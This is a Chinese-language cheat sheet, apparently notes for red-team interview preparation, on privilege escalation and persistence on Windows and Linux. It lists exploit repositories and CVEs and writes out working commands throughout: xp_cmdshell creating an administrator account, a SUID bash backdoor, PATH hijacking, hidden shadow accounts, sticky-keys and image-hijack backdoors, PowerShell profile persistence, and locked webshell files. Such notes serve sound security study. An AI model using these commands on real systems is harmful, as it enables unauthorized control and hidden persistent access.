权限提升
windows
使用EXP
systeminfo查看windows系统的版本以及补丁情况,或者使用一些工具查询,然后找相应的EXP打
检测系统的补丁情况:
https://github.com/SecWiki/windows-kernel-exploits/tree/master/win-exp-suggester
查看补丁:
https://github.com/chroblert/WindowsVulnScan
内核提权EXP:
https://github.com/SecWiki/windows-kernel-exploits
在线的提权利用查询:
https://lolbas-project.github.io/
通过补丁查询对应可能可以使用的EXP:
http://bugs.hacking8.com/tiquan/
像比较常用的漏洞:
MS14-058 [KB3000061] win32k.sys的特权提升漏洞
MS14-068 [KB3011780]
MS15-051 [KB3045171]
MS15-077 [KB3077657]
MS16-032 [KB3124280]
MS16-075 烂土豆提权,只针对本地,不能用于域用户
MS16-135 [KB3199135]
MS17-010 [KB4013389]
CVE-2019-0708
CVE-2019-0803
CVE-2019-1322
CVE-2019-12750
CVE-2020-0787
windows特性提权
系统服务权限配置错误
利用高权限的含有漏洞的服务
不带引号的服务路径提权
"C:Program FilesBOY.exe",有双引号时,执行 BOY.exe 文件
C:Program FilesBOY.exe,没有双引号时,执行Program.exe文件
注册键AlwaysInstallElevated
如果启用 允许低权限用户以System权限安装文件 该策略,则任意用户都可以以system权限安装恶意程序
自动安装配置文件提权
在内网中可能会有一些批量执行命令的脚本,里面可能会有一些配置信息甚至账号密码
DLL提权
劫持DLL进行提权
DLL加载顺序:
应用程序加载的目录
C:\Windows\System32
C:\Windows\System
C:\Windows
当前工作目录Current Working Directory,CWD
在PATH环境变量的目录(先系统后用户)
第三方组件提权(hvv面试好像经常问)
sqlservser提权
在sqlserver里面使用sa用户运行提权脚本执行命令
Exec sp_configure 'show advanced options',1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
Exec master.dbo.xp_cmdshell 'net user lx 123456 /add & net localgroup administrators lx /add'
Exec master.dbo.xp_cmdshell 'systeminfo'
udf提权
用户自定义函数提权
mysql5.1之后需要把提权的dll文件放到插件目录下
mof提权
mof是windows内的一个文件,会监控进程的创建和死亡
当我们有了一个mysql的root用户之后,去执行我们上传的mof文件,在mof文件中有创建用户的命令,以达到提权
G6FTP提权
默认开放在本地的8021端口
将创建用户的将用户添加到管理员组的命令脚本用ftp上传并执行以达到提权
bypass-uac
uac(用户账户控制)
白名单提权
COM接口
计划任务
DLL劫持
一些自身漏洞
https://github.com/hfiref0x/UACME
linux
内核漏洞
CVE-2016-5159(dity-cow 脏牛)
dity-pipe
pkexec提权,这个是linux下的一个组件的漏洞,因为影响挺大的,我也把它放这了
https://github.com/SecWiki/linux-kernel-exploits
SUID提权
查找有suid的文件
• find / -perm -u=s -type f 2>/dev/null
• find / -user root -perm -4000-print2>/dev/null
• find / -user root -perm -4000-exec ls -ldb {} \;
常见文件:nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget
SUDO提权
在/etc/souders文件内,如果有bypass ALL=(ALL:ALL) NOPASSWD:ALL
这句话则使用sudo无需密码
计划任务提权
一些管理定时执行任务的文件,若它是以root权限执行任务,而普通用户又可以写,那么就可以往这些文件里面写入一些反弹shell的命令
第三方
第三方以root权限运行的程序或组件存在漏洞
SSH秘钥提权
到.ssh目录下,把id_rsa下载到本地设置权限 600 然后利用秘钥登录
cat /etc/passwd | grep bash
cd /home/web1/.ssh
chmod 600 id_rsa # 设置权限
ssh -i id_rsa web1@192.0.0.1 # 利用秘钥登录
passwd提权
当 /etc/passwd 文件普通用户可写时,可以修改里面的root密码
环境变量劫持
也是利用suid文件提权,suid文件得有系统命令
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH export PATH=/tmp:$PATH
cd /script
./shell
john破解root密码
暴力破解root密码
udf提权(成功率不大)
在mysql内创建函数进行提权
权限维持
web
内存马
不死马
iis后门
winows权限维持
映像劫持技术
在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image FileExecution Options
内创建一个BOY.exe,然后在右侧新建一个Debugger,里面写入后门地址
策略组脚本权限维持
打开组策略,里面的windows设置里有个脚本(启动/关机),设置启动属性,添加后门脚本路径
粘贴键后门
将C:\windows\system32\sethc.exe
替换为后门程序,连续按5次shift键调用程序
影子账号
net user BOY$ 123456 add
文件隐藏
Attrib +s +a +h +r BOY.exe
注册表运行键
屏幕保护程序
修改注册表或者使用msf里面的模块
修改快捷方式
修改快捷方式,link到后门文件
PowerShell配置文件
向powershell配置文件写入自定义语句
查看是否存在配置文件:
echo $profile
Test-path $profile
创建配置文件:
New-Item -Path $profile -Type File –Force
利用:
创建脚本文件
$string = 'Start-Process "C:\BOY.bat"'
$string | Out-File -FilePath $profile -Append
辅助功能
利用屏幕键盘、放大镜、屏幕阅读等辅助功能,将其修改为后门,和粘贴键后门类似
Netsh Helper DLL
利用hetsh加载恶意DLL
新服务
在cmd或者powershell里创建新服务
安全支持提供程序
安全支持提供程序(SSP)是windows内的一个API,可以注册SSP DLL然后加载到内存以达到持久化
BITS Jobs
端口监视器
计划任务
写计划任务,不断反弹shell
时间服务器
linux权限维持
添加用户
直接添加用户
修改passwd文件
锁定文件
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除文件
SUID后门
cp /bin/bash /tmp/.BOY # 将/bin/sh放到tmp目录下
chmod 4755 /tmp/.BOY # 赋予SUID权限
/tmp/.BOY # 运行可以拿到一个root的shell
SSH后门
添加公钥,下次用公钥登录
ssh-keygen -t rsa //生成公钥
cat id_rsa.pub > authorized_keys //将id_rsa.pub放到.ssh/authorized_keys里面
SSH软连接后门 :
http://blackwolfsec.cc/2017/03/24/Linux_ssh_backdoor/
计划任务
在计划任务的文件里面写入反弹shell,隔段时间就反弹shell
第三方后门
vim后门
inetd服务后门
协议后门:ICMP/DNS